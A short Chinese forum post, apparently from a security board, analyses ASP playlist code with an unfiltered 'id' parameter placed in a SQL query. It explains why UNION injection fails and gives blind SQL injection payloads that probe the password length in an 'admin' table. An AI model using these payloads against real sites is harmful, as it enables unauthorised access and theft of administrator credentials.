一段有注射漏洞的asp代码
别人丢来一段代码<BR><TABLE class=ubb_code cellSpacing=1 cellPadding=0 width="90%" border=0>
<TBODY>
<TR>
<TD>
<TABLE style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellSpacing=0 cellPadding=6 width="95%" align=center border=0>
<TBODY>
<TR>
<TD style="WORD-WRAP: break-word" bgColor=#f3f3f3><FONT style="FONT-WEIGHT: bold; COLOR: #990000">以下是引用片段:</FONT><BR><!--#include file="../user/conn.asp"--><BR><!--#include file="Path.Asp"--><BR><ASX version = "3.0"><BR><%<BR>id1=replace(request("id"),"","")<BR>if id1<>"" then<BR>set rs=server.createobject("adodb.recordset")<BR>id=id1<BR>sql="select * from MusicList where id in (" & id & ")"<BR>rs.open sql,conn,1,3<BR>rs("hits")=rs("hits")+1<BR>rs.update<BR>songpath=rs("song_path")<BR> If songpath="" or IsNull(songpath) Then<BR> songpath=1<BR> End If<BR> select Case songpath<BR> Case 1<BR> song_path=song_path1<BR> Case 2<BR> song_path=song_path2<BR> Case 3<BR> song_path=song_path3<BR> Case 4<BR> song_path=song_path4<BR> Case 5<BR> song_path=song_path5<BR> Case 6<BR> song_path=song_path6<BR> Case 7<BR> song_path=song_path7<BR> End select<BR> song_path=song_path&rs("Wma")<BR><BR>while not rs.eof<BR>%><BR><entry SKIPIFREF="NO"> <BR><title><%=rs("Musicname")%></title><BR><author>www.lgrx.com.cn</author><BR><copyright>歌手和唱片公司所有</copyright><BR><ref href="<%=song_path%>"/> <BR><param name="Artist" value="<%=rs("Singer")%>"/><BR><param name="Album" value="娱人音乐网 <%=rs("hits")%>人气"/><BR><param name="Title" value="<%=rs("Musicname")%>"/><BR></ENTRY><BR><% <BR>rs.movenext<BR>wend<BR>rs.Close<BR>set rs=nothing<BR>end if<BR>conn.close<BR>set conn=nothing<BR>%><BR></ASX></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>注意id,基本没过滤放到sql语句里,很简单是么?但是 <BR><BR>
<TABLE class=ubb_code cellSpacing=1 cellPadding=0 width="90%" border=0>
<TBODY>
<TR>
<TD>rs("hits")=rs("hits")+1<BR>rs.update</TD></TR></TBODY></TABLE><BR><BR>这样决定了不能union查询,因为union出来的是不可写的.....那么只能经典注射了<BR><BR>
<TABLE class=ubb_code cellSpacing=1 cellPadding=0 width="90%" border=0>
<TBODY>
<TR>
<TD>id=1) sql and 1 in (1<BR></TD></TR></TBODY></TABLE>前后的保证出来的有记录,加上中间加我们自己的sql语句,就可以注射了.这里关键表是admin,字段有 password , username<BR><BR>那么就可以这样了<BR><BR>
<TABLE class=ubb_code cellSpacing=1 cellPadding=0 width="90%" border=0>
<TBODY>
<TR>
<TD>id=1) and (select top 1 len(password) from admin)=16 and 1 in (1<BR></TD></TR></TBODY></TABLE>正常返回,语句为真,那么这个密码估计被md5了<BR><BR>后面的不说了 自己猜吧
re:一段有注射漏洞的asp代码
支持万岁!
页:
[1]